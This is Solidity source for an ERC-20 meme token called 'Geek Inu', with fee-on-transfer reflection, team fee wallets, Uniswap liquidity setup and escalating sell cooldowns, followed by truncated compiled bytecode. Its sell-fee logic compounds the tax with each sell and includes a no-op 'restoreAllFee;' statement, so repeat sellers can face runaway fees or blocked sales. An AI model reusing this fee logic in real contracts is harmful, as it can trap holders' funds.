function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract GeekInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"Geek Inu";
string private constant _symbol = "GEEKI";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 10;
uint256 private _teamFee = 10;
mapping(address => bool) private bots;
mapping(address => uint256) private buycooldown;
mapping(address => uint256) private sellcooldown;
mapping(address => uint256) private firstsell;
mapping(address => uint256) private sellnumber;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private liquidityAdded = false;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 7;
_teamFee = 5;
}
function setFee(uint256 multiplier) private {
_taxFee = _taxFee * multiplier;
if (multiplier > 1) {
_teamFee = 10;
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) {
require(tradingOpen);
require(amount <= _maxTxAmount);
require(buycooldown[to] < block.timestamp);
buycooldown[to] = block.timestamp + (30 seconds);
_teamFee = 6;
_taxFee = 2;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount);
require(sellcooldown[from] < block.timestamp);
if(firstsell[from] + (1 days) < block.timestamp){
sellnumber[from] = 0;
}
if (sellnumber[from] == 0) {
sellnumber[from]++;
firstsell[from] = block.timestamp;
sellcooldown[from] = block.timestamp + (1 hours);
}
else if (sellnumber[from] == 1) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (2 hours);
}
else if (sellnumber[from] == 2) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (6 hours);
}
else if (sellnumber[from] == 3) {
sellnumber[from]++;
sellcooldown[from] = firstsell[from] + (1 days);
}
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
setFee(sellnumber[from]);
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() public onlyOwner {
require(liquidityAdded);
tradingOpen = true;
}
function addLiquidity() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
liquidityAdded = true;
_maxTxAmount = 3000000000 * 10**9;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x6080604052600436106101025760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd8014610330578063c9567bf914610347578063d543dbeb1461035e578063dd62ed3e14610387578063e8078d94146103c457610109565b8063715018a6146102865780638da5cb5b1461029d57806395d89b41146102c8578063a9059cbb146102f357610109565b8063313ce567116100d1578063313ce567146101de5780635932ead1146102095780636fc3eaec1461023257806370a082311461024957610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103db565b6040516101309190613213565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190612d9a565b610418565b60405161016d91906131f8565b60405180910390f35b34801561018257600080fd5b5061018b610436565b6040516101989190613395565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612d4b565b610447565b6040516101d591906131f8565b60405180910390f35b3480156101ea57600080fd5b506101f3610520565b604051610200919061340a565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612dd6565b610529565b005b34801561023e57600080fd5b506102476105db565b005b34801561025557600080fd5b50610270600480360381019061026b9190612cbd565b61064d565b60405161027d9190613395565b60405180910390f35b34801561029257600080fd5b5061029b61069e565b005b3480156102a957600080fd5b506102b26107f1565b6040516102bf919061312a565b60405180910390f35b3480156102d457600080fd5b506102dd61081a565b6040516102ea9190613213565b60405180910390f35b3480156102ff57600080fd5b5061031a60048036038101906103159190612d9a565b610857565b60405161032791906131f8565b60405180910390f35b34801561033c57600080fd5b50610345610875565b005b34801561035357600080fd5b5061035c6108ef565b005b34801561036a57600080fd5b5061038560048036038101906103809190612e28565b6109ba565b005b34801561039357600080fd5b506103ae60048036038101906103a99190612d0f565b610b03565b6040516103bb9190613395565b60405180910390f35b3480156103d057600080fd5b506103d9610b8a565b005b60606040518060400160405280600881526020017f4765656b20496e75000000000000000000000000000000000000000000000000815250905090565b600061042c610425611096565b848461109e565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610454848484611269565b61051584610460611096565b610510856040518060600160405280602881526020016139f460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c6611096565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120399092919063ffffffff16565b61109e565b600190509392505050565b60006009905090565b610531611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b5906132f5565b60405180910390fd5b80601260186101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661061c611096565b73ffffffffffffffffffffffffffffffffffffffff161461063c57600080fd5b600047905061064a8161209d565b50565b6000610697600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612198565b9050919050565b6106a6611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610733576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072a906132f5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4745454b49000000000000000000000000000000000000000000000000000000815250905090565b600061086b610864611096565b8484611269565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108b6611096565b73ffffffffffffffffffffffffffffffffffffffff16146108d657600080fd5b60006108e13061064d565b90506108ec81612206565b50565b6108f7611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097b906132f5565b60405180910390fd5b601260159054906101000a900460ff1661099d57600080fd5b6001601260146101000a81548160ff021916908315150217905550565b6109c2611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a46906132f5565b60405180910390fd5b60008111610a92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a89906132b5565b60405180910390fd5b610ac16064610ab383683635c9adc5dea0000061250090919063ffffffff16565b61257b90919063ffffffff16565b6013819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601354604051610af89190613395565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b92611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c16906132f5565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610caf30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061109e565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cf557600080fd5b505afa158015610d09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2d9190612ce6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8f57600080fd5b505afa158015610da3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc79190612ce6565b6040518363ffffffff1660e01b8152600401610de4929190613145565b602060405180830381600087803b158015610dfe57600080fd5b505af1158015610e12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e369190612ce6565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ebf3061064d565b600080610eca6107f1565b426040518863ffffffff1660e01b8152600401610eec96959493929190613197565b6060604051808303818588803b158015610f0557600080fd5b505af1158015610f19573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f3e9190612e51565b5050506001601260176101000a81548160ff0219169083151502179055506001601260186101000a81548160ff0219169083151502179055506001601260156101000a81548160ff0219169083151502179055506729a2241af62c0000601381905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161104092919061316e565b602060405180830381600087803b15801561105a57600080fd5b505af115801561106e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110929190612dff565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561110e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110590613355565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561117e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117590613275565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161125c9190613395565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d090613335565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611349576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134090613235565b60405180910390fd5b6000811161138c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138390613315565b60405180910390fd5b6113946107f1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561140257506113d26107f1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f7657601260189054906101000a900460ff1615611635573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156114de5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115385750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561163457601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661157e611096565b73ffffffffffffffffffffffffffffffffffffffff1614806115f45750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115dc611096565b73ffffffffffffffffffffffffffffffffffffffff16145b611633576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162a90613375565b60405180910390fd5b5b5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d95750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116e257600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561178d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117e35750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117fb5750601260189054906101000a900460ff165b156118d457601260149054906101000a900460ff1661181957600080fd5b60135481111561182857600080fd5b42600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061187357600080fd5b601e42611880919061347a565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660098190555060026008819055505b60006118df3061064d565b9050601260169054906101000a900460ff1615801561194c5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119645750601260179054906101000a900460ff165b15611f74576119ba60646119ac600361199e601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661064d565b61250090919063ffffffff16565b61257b90919063ffffffff16565b82111580156119cb57506013548211155b6119d457600080fd5b42600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a1f57600080fd5b4262015180600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6e919061347a565b1015611aba576000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611bf157600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611b5290613629565b919050555042600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e1042611ba9919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f09565b6001600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611ce457600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611c8990613629565b9190505550611c2042611c9c919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f08565b6002600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611dd757600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611d7c90613629565b919050555061546042611d8f919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f07565b6003600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611f0657600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611e6f90613629565b919050555062015180600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ec2919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b5b611f1281612206565b60004790506000811115611f2a57611f294761209d565b5b611f72600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c5565b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061201d5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561202757600090505b612033848484846125ee565b50505050565b6000838311158290612081576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120789190613213565b60405180910390fd5b5060008385612090919061355b565b9050809150509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6120ed60028461257b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612118573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61216960028461257b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612194573d6000803e3d6000fd5b5050565b60006006548211156121df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d690613255565b60405180910390fd5b60006121e961262d565b90506121fe818461257b90919063ffffffff16565b915050919050565b6001601260166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612264577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122925781602001602082028036833780820191505090505b50905030816000815181106122d0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561237257600080fd5b505afa158015612386573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123aa9190612ce6565b816001815181106123e4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061244b30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461109e565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016124af9594939291906133b0565b600060405180830381600087803b1580156124c957600080fd5b505af11580156124dd573d6000803e3d6000fd5b50505050506000601260166101000a81548160ff02191690831515021790555050565b6000808314156125135760009050612575565b600082846125219190613501565b905082848261253091906134d0565b14612570576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612567906132d5565b60405180910390fd5b809150505b92915050565b60006125bd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612658565b905092915050565b806008546125d39190613501565b60088190555060018111156125eb57600a6009819055505b50565b806125fc576125fb6126bb565b5b6126078484846126ec565b806126155761261461261b565b5b50505050565b60076008819055506005600981905550565b600080600061263a6128b7565b91509150612651818361257b90919063ffffffff16565b9250505090565b6000808311829061269f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126969190613213565b60405180910390fd5b50600083856126ae91906134d0565b9050809150509392505050565b60006008541480156126cf57506000600954145b156126d9576126ea565b600060088190555060006009819055505b565b6000806000806000806126fe87612919565b95509550955095509550955061275c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461298190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127f185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cb90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283d81612a29565b6128478483612ae6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128a49190613395565b60405180910390a3505050505050505050565b600080600060065490506000683635c9adc5dea0000090506128ed683635c9adc5dea0000060065461257b90919063ffffffff16565b82101561290c57600654683635c9adc5dea00000935093505050612915565b81819350935050505b9091565b60008060008060008060008060006129368a600854600954612b20565b925092509250600061294661262d565b905060008060006129598e878787612bb6565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006129c383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525